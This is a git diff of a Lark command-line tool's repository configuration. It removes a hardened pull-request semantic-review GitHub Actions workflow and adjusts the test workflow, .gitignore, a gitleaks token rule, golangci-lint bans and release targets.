TAG="${GITHUB_REF_NAME}"
gh release download "${TAG}" --pattern checksums.txt --dir .
test -s checksums.txt || { echo "checksums.txt missing or empty for ${TAG}"; exit 1; }
- name: Publish to npm
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

View File

@@ -1,611 +0,0 @@
name: Semantic Review
on:
workflow_run:
workflows: ["CI"]
types: [completed]
permissions:
actions: read
contents: read
jobs:
pr-quality-summary:
if: github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
issues: write
pull-requests: write
steps:
- name: Verify workflow run and pull request for summary
id: pr
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
let workflowPath = run.path || "";
if (!workflowPath) {
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
workflowPath = workflow.path || "";
}
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
if (runPRs.length > 1) {
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
}
let prNumber = Number(runPRs[0]?.number || 0);
const eventBaseSha = runPRs[0]?.base?.sha || "";
const eventHeadSha = runPRs[0]?.head?.sha || "";
const targetHeadSha = run.head_sha;
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
core.notice("PR quality summary using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
}
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
let factsArtifactName = "";
let artifactBaseSha = "";
let artifactError = "";
if (factsArtifacts.length !== 1) {
artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
} else {
factsArtifactName = factsArtifacts[0].name;
const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
artifactError = "facts artifact head sha does not match verified PR head sha";
factsArtifactName = "";
} else {
artifactBaseSha = parsedBaseSha;
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
core.notice("PR quality summary using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
}
}
}
if (!prNumber) {
const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
owner: context.repo.owner,
repo: context.repo.repo,
commit_sha: targetHeadSha,
});
const candidatePRs = associatedPRs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
);
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
}
if (!prNumber) {
const candidatePRs = await github.paginate(github.rest.pulls.list, {
owner: context.repo.owner,
repo: context.repo.repo,
state: "all",
per_page: 100,
}).then((prs) => prs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
));
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
} else {
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
}
}
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
const { data: pr } = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: prNumber,
});
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
if (pr.state !== "open") {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
if (pr.head.sha !== targetHeadSha) {
core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
core.setOutput("stale", "true");
return;
}
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
core.notice("PR quality summary skipped: workflow_run is stale for this PR base");
core.setOutput("stale", "true");
return;
}
if (artifactError) {
core.warning(`quality gate facts artifact binding is unavailable: ${artifactError}`);
}
core.setOutput("pr_number", String(prNumber));
core.setOutput("head_sha", targetHeadSha);
core.setOutput("base_sha", baseSha);
core.setOutput("run_id", String(run.id));
core.setOutput("facts_artifact_name", factsArtifactName);
core.setOutput("artifact_error", artifactError);
core.setOutput("stale", "false");
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
id: checkout
if: ${{ steps.pr.outputs.stale != 'true' }}
with:
ref: ${{ steps.pr.outputs.base_sha }}
persist-credentials: false
- name: Verify summary facts artifact metadata
id: artifact
if: ${{ steps.pr.outputs.stale != 'true' && steps.pr.outputs.facts_artifact_name != '' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
const { data } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
const artifact = artifacts[0];
if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
}
if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
core.setOutput("artifact_id", String(artifact.id));
core.setOutput("artifact_digest", artifact.digest);
- name: Download facts artifact zip
if: ${{ steps.pr.outputs.stale != 'true' && steps.artifact.outputs.artifact_id != '' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
id: download
with:
script: |
const fs = require("fs");
const path = require("path");
const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
const { data } = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: artifactId,
archive_format: "zip",
});
const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
fs.writeFileSync(zipPath, Buffer.from(data));
core.setOutput("zip_path", zipPath);
- name: Verify and extract summary facts artifact
if: ${{ steps.pr.outputs.stale != 'true' && steps.download.outputs.zip_path != '' }}
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_DECISION_OUT: decision.json
SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
- name: Publish PR quality summary
if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
CI_QUALITY_SUMMARY_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
CI_QUALITY_SUMMARY_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
CI_QUALITY_SUMMARY_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
CI_QUALITY_SUMMARY_RUN_ID: ${{ steps.pr.outputs.run_id }}
CI_QUALITY_SUMMARY_ARTIFACT_ERROR: ${{ steps.pr.outputs.artifact_error }}
with:
script: |
const { publish } = require("./scripts/ci-quality-summary-publish.js");
await publish({ github, context, core });
semantic-review:
needs: pr-quality-summary
if: always() && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
permissions:
actions: read
checks: write
contents: read
issues: write
pull-requests: write
steps:
- name: Verify workflow run and pull request
id: pr
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
let workflowPath = run.path || "";
if (!workflowPath) {
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
workflowPath = workflow.path || "";
}
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
if (run.conclusion !== "success") throw new Error(`unexpected conclusion: ${run.conclusion}`);
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
if (runPRs.length > 1) {
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
}
let prNumber = Number(runPRs[0]?.number || 0);
const eventBaseSha = runPRs[0]?.base?.sha || "";
const eventHeadSha = runPRs[0]?.head?.sha || "";
const targetHeadSha = run.head_sha;
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
core.notice("semantic review using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
}
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
let factsArtifactName = "";
let artifactBaseSha = "";
let artifactError = "";
if (factsArtifacts.length !== 1) {
artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
} else {
factsArtifactName = factsArtifacts[0].name;
const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
artifactError = "facts artifact head sha does not match verified PR head sha";
factsArtifactName = "";
} else {
artifactBaseSha = parsedBaseSha;
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
core.notice("semantic review using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
}
}
}
if (!prNumber) {
const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
owner: context.repo.owner,
repo: context.repo.repo,
commit_sha: targetHeadSha,
});
const candidatePRs = associatedPRs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
);
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
}
if (!prNumber) {
const candidatePRs = await github.paginate(github.rest.pulls.list, {
owner: context.repo.owner,
repo: context.repo.repo,
state: "all",
per_page: 100,
}).then((prs) => prs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
));
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
} else {
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
}
}
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
const { data: pr } = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: prNumber,
});
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
if (pr.state !== "open") {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
if (!pr.head.repo) {
core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
core.setOutput("stale", "true");
return;
}
if (pr.head.sha !== targetHeadSha) {
core.notice("semantic review skipped: workflow_run is stale for this PR head");
core.setOutput("stale", "true");
return;
}
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
core.notice("semantic review skipped: workflow_run is stale for this PR base");
core.setOutput("stale", "true");
return;
}
if (artifactError) {
core.warning(`semantic review facts artifact binding is unavailable: ${artifactError}`);
}
core.setOutput("pr_number", String(prNumber));
core.setOutput("head_sha", targetHeadSha);
core.setOutput("base_sha", baseSha);
core.setOutput("head_owner", pr.head.repo.owner.login);
core.setOutput("head_repo", pr.head.repo.name);
core.setOutput("head_repo_id", String(pr.head.repo.id));
core.setOutput("head_is_base_repo", pr.head.repo.id === context.payload.repository.id ? "true" : "false");
core.setOutput("run_id", String(run.id));
core.setOutput("facts_artifact_name", factsArtifactName);
core.setOutput("artifact_error", artifactError);
core.setOutput("stale", "false");
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
id: checkout
if: ${{ steps.pr.outputs.stale != 'true' }}
with:
ref: ${{ steps.pr.outputs.base_sha }}
persist-credentials: false
- name: Publish pre-checkout semantic review failure
if: ${{ failure() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome != 'success' && steps.pr.outputs.head_sha != '' && steps.pr.outputs.pr_number != '' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
with:
script: |
const runtimeBlockMode = process.env.SEMANTIC_REVIEW_BLOCK === "true";
const pr = Number(process.env.SEMANTIC_REVIEW_PR_NUMBER || 0);
const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
const baseSha = process.env.SEMANTIC_REVIEW_BASE_SHA || "";
if (!Number.isInteger(pr) || pr <= 0 || !/^[a-f0-9]{40}$/i.test(headSha) || !/^[a-f0-9]{40}$/i.test(baseSha)) {
throw new Error("missing verified semantic review target");
}
const { data: pull } = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: pr,
});
if (pull.state !== "open") {
core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
return;
}
if (pull.head.sha !== headSha) {
core.notice("semantic review skipped infrastructure failure check: PR head changed");
return;
}
if (pull.base.sha !== baseSha) {
core.notice("semantic review skipped infrastructure failure check: PR base changed");
return;
}
if (pull.base.repo.id !== context.payload.repository.id) {
throw new Error("PR base repo mismatch before infrastructure failure check");
}
await github.rest.checks.create({
owner: context.repo.owner,
repo: context.repo.repo,
name: runtimeBlockMode ? "semantic-review/result" : "semantic-review/observe",
head_sha: headSha,
status: "completed",
conclusion: runtimeBlockMode ? "failure" : "neutral",
output: {
title: "Semantic review infrastructure failure",
summary: "Semantic review could not checkout the verified base commit. Inspect the workflow logs before relying on semantic review output.",
},
});
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
if: ${{ steps.pr.outputs.stale != 'true' }}
with:
go-version-file: go.mod
- name: Verify semantic facts artifact metadata
id: artifact
if: ${{ steps.pr.outputs.stale != 'true' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
if (!/^quality-gate-facts-[a-f0-9]{40}-[a-f0-9]{40}$/i.test(factsArtifactName)) {
throw new Error("missing verified facts artifact binding");
}
const { data } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
const artifact = artifacts[0];
if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
}
if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
core.setOutput("artifact_id", String(artifact.id));
core.setOutput("artifact_digest", artifact.digest);
- name: Download facts artifact zip
if: ${{ steps.pr.outputs.stale != 'true' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
id: download
with:
script: |
const fs = require("fs");
const path = require("path");
const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
const { data } = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: artifactId,
archive_format: "zip",
});
const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
fs.writeFileSync(zipPath, Buffer.from(data));
core.setOutput("zip_path", zipPath);
- name: Verify and extract semantic facts artifact
if: ${{ steps.pr.outputs.stale != 'true' }}
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_DECISION_OUT: decision.json
SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
- name: Download PR semantic waiver config
id: waiver_config
if: ${{ steps.pr.outputs.stale != 'true' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
SEMANTIC_REVIEW_HEAD_OWNER: ${{ steps.pr.outputs.head_owner }}
SEMANTIC_REVIEW_HEAD_REPO: ${{ steps.pr.outputs.head_repo }}
SEMANTIC_REVIEW_HEAD_IS_BASE_REPO: ${{ steps.pr.outputs.head_is_base_repo }}
with:
script: |
const fs = require("fs");
const path = require("path");
const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
if (!/^[a-f0-9]{40}$/i.test(headSha)) {
throw new Error("missing verified semantic review target");
}
const headOwner = process.env.SEMANTIC_REVIEW_HEAD_OWNER || "";
const headRepo = process.env.SEMANTIC_REVIEW_HEAD_REPO || "";
if (!headOwner || !headRepo) {
throw new Error("missing verified semantic review head repository");
}
const waiverPath = "internal/qualitygate/config/semantic/waivers.txt";
const outPath = path.join(process.env.RUNNER_TEMP, "semantic-review-waivers.txt");
const headIsBaseRepo = process.env.SEMANTIC_REVIEW_HEAD_IS_BASE_REPO === "true";
if (!headIsBaseRepo) {
core.notice("fork PR semantic waiver config is ignored");
core.setOutput("path", "");
return;
}
let content = "";
try {
const { data } = await github.rest.repos.getContent({
owner: headOwner,
repo: headRepo,
path: waiverPath,
ref: headSha,
});
if (Array.isArray(data) || data.type !== "file" || data.encoding !== "base64") {
throw new Error(`${waiverPath} is not a base64 file at PR head`);
}
if (data.size > 256 * 1024) {
throw new Error(`${waiverPath} is too large: ${data.size} bytes`);
}
content = Buffer.from(data.content, "base64").toString("utf8");
} catch (err) {
if (err.status !== 404) {
throw err;
}
}
fs.writeFileSync(outPath, content);
core.setOutput("path", outPath);
- name: Run semantic review
id: semantic
if: ${{ steps.pr.outputs.stale != 'true' }}
env:
ARK_API_KEY: ${{ secrets.ARK_API_KEY }}
ARK_BASE_URL: ${{ vars.ARK_BASE_URL }}
ARK_MODEL: ${{ vars.ARK_MODEL }}
ARK_TIMEOUT_SECONDS: ${{ vars.ARK_TIMEOUT_SECONDS }}
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
run: |
args=(
--repo .
--facts facts.json
--decision-out decision.json
--markdown-out semantic-review.md
)
if [ -n "${{ steps.waiver_config.outputs.path }}" ]; then
args+=(--waivers-file '${{ steps.waiver_config.outputs.path }}')
fi
if [ "$SEMANTIC_REVIEW_BLOCK" = "true" ]; then
args+=(--block)
fi
go run ./internal/qualitygate/cmd/semantic-review "${args[@]}"
- name: Publish semantic review
if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
with:
script: |
const { publish } = require("./scripts/semantic-review-publish.js");
await publish({ github, context, core });

43
.github/workflows/tests.yml vendored Normal file
View File

@@ -0,0 +1,43 @@
name: Tests
on:
push:
branches: [main]
paths:
- "**.go"
- go.mod
- go.sum
- .github/workflows/tests.yml
pull_request:
branches: [main]
paths:
- "**.go"
- go.mod
- go.sum
- .github/workflows/tests.yml
permissions:
contents: read
jobs:
unit-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5
with:
go-version-file: go.mod
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Run tests
run: go test -v -race -count=1 -timeout=5m ./cmd/... ./internal/... ./shortcuts/...
- name: Build
run: go build -v ./...

24
.gitignore vendored
View File

@@ -1,5 +1,5 @@
# Build output
/lark-cli*
/lark-cli
.cache/
dist/
bin/
@@ -7,11 +7,6 @@ bin/
# Node
node_modules/
# Python (skill-bundled helper scripts)
__pycache__/
*.py[cod]
*$py.class
# OS
.DS_Store
@@ -38,22 +33,5 @@ tests/mail/reports/
# Generated / test artifacts
.hammer/
.lark-slides/
/notes/
/minutes/
internal/registry/meta_data.json
cmd/api/download.bin
app.log
/sidecar-server-demo
/server-demo
.tmp/
cover*.out
lark-env.sh
/automations/
# Local-only proof artifacts and coverage reports (never committed)
coverage.html
tests_e2e/
tests_skill_eval/

View File

@@ -14,4 +14,3 @@ id = "lark-session-token"
description = "Detect Lark session tokens"
regex = '''\bXN0YXJ0-[A-Za-z0-9_-]+-WVuZA\b'''
keywords = ["XN0YXJ0-", "-WVuZA"]

View File

@@ -29,11 +29,11 @@ linters:
- unused # checks for unused constants, variables, functions and types
- depguard # blocks forbidden package imports
- forbidigo # forbids specific function calls
- errorlint # enforces error wrapping (%w) and errors.Is/As over == and type asserts
# To enable later after fixing existing issues:
# - errcheck # checks for unchecked errors
# - errname # checks that error types are named XxxError
# - errorlint # checks error wrapping best practices
# - gosec # security-oriented linter
# - misspell # finds commonly misspelled English words
# - staticcheck # comprehensive static analysis
@@ -45,53 +45,15 @@ linters:
- path: _test\.go$
linters:
- bodyclose
- bidichk
- gocritic
- depguard
- forbidigo
- errorlint # tests legitimately do identity (==) and concrete type-assert checks
# forbidigo runs repo-wide (minus the boundaries below) so errs-no-bare-wrap
# has no gap. The framework bans (os/vfs, raw HTTP, fmt.Print, filepath,
# log) stay scoped to shortcuts/ + internal/ + config/auth/service via the
# next rule; elsewhere only errs-no-bare-wrap fires.
- path-except: (shortcuts/|internal/|cmd/|events/)
linters:
- forbidigo
- path-except: (shortcuts/|internal/|cmd/auth/|cmd/config/|cmd/service/)
text: (vfs|IOStreams|ctx\.Out|shortcuts-no-raw-http|filepath functions|os\.Exit|structured error return)
- path-except: (shortcuts/|internal/)
linters:
- forbidigo
- path: internal/vfs/
linters:
- forbidigo
# internal/gen build-time generators (standalone `package main` run via
# go:generate) are not shortcut runtime code — no ctx/runtime/framework —
# so the shortcut forbidigo bans don't apply. Going "compliant" is also
# impossible here: a structured error return needs os.Exit (also banned),
# and the vfs.Xxx() alternative is blocked by depguard shortcuts-no-vfs.
- path: shortcuts/.*/internal/gen/
linters:
- forbidigo
# internal/qualitygate/cmd contains standalone CI tools. Their main
# entrypoints legitimately own process exit codes and stdio, matching the
# old tools/ layout before these packages moved under internal/.
- path: internal/qualitygate/cmd/[^/]+/main\.go$
linters:
- forbidigo
# shortcuts-no-raw-http is shortcuts-only; internal/ wraps raw HTTP
# for the client / credential layer.
- path-except: shortcuts/
text: shortcuts-no-raw-http
linters:
- forbidigo
# errs-no-bare-wrap enforced across every command/wire boundary by
# structural prefix, so any future business domain or command is covered
# without editing an allowlist. Genuine intermediate wraps inside these
# paths use //nolint:forbidigo with a reason.
- path-except: (cmd/|shortcuts/|events/)
text: errs-no-bare-wrap
linters:
- forbidigo
settings:
depguard:
@@ -110,22 +72,6 @@ linters:
Use runtime.FileIO() for file operations or runtime.ValidatePath() for path validation.
forbidigo:
forbid:
# ── bare error wraps banned on fully-typed paths ──
- pattern: (fmt\.Errorf|errors\.New)\b
msg: >-
[errs-no-bare-wrap] final errors must be typed (errs.NewXxxError);
wrap a cause with .WithCause(err). Genuine intermediate wraps:
//nolint:forbidigo with a reason.
# ── http: shortcuts must not construct raw HTTP requests ──
# Bans request / client construction; constants (http.MethodPost,
# http.StatusOK) and pure helpers (http.StatusText, http.Header) are
# intentionally allowed since they don't bypass the runtime layer.
- pattern: http\.(Client|NewRequest|NewRequestWithContext|Get|Post|PostForm|Head|DefaultClient|DefaultTransport|RoundTripper|Do|Serve|ListenAndServe)\b
msg: >-
[shortcuts-no-raw-http] use RuntimeContext.DoAPI/CallAPI/DoAPIJSON
instead of constructing raw HTTP. The runtime handles auth, headers,
and error normalization. (Constants and helpers like http.MethodPost,
http.StatusOK, http.StatusText remain allowed.)
# ── os: already wrapped in internal/vfs ──
- pattern: os\.(Stat|Lstat|Open|OpenFile|Rename|ReadFile|WriteFile|Getwd|UserHomeDir|ReadDir)\b
msg: "use the corresponding vfs.Xxx() from internal/vfs"
@@ -154,16 +100,6 @@ linters:
msg: >-
Do not use os.Exit in shortcuts/. Return an error instead and let
the caller (cmd layer) decide how to terminate.
# ── output: shortcuts must use ctx.Out() ──
- pattern: fmt\.Print(f|ln)?\b
msg: >-
use ctx.Out() or ctx.OutFormat() for structured JSON output.
fmt.Print* bypasses the output envelope and breaks --jq/--format.
# ── logging: shortcuts must return errors, not log.Fatal ──
- pattern: log\.(Print|Fatal|Panic)(f|ln)?\b
msg: >-
use structured error return, not log.Fatal/Panic.
Shortcuts must return errors to the framework for proper exit code handling.
# ── filepath: functions that access the filesystem ──
- pattern: filepath\.(EvalSymlinks|Walk|WalkDir|Glob|Abs)\b
msg: >-

View File

@@ -17,7 +17,6 @@ builds:
goarch:
- amd64
- arm64
- riscv64
archives:
- name_template: "lark-cli-{{ .Version }}-{{ .Os }}-{{ .Arch }}"

View File

@@ -11,34 +11,16 @@
```bash
make build # Build (runs fetch_meta first)
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
make unit-test # Required before PR (runs with -race)
make test # Full: vet + unit + integration
```
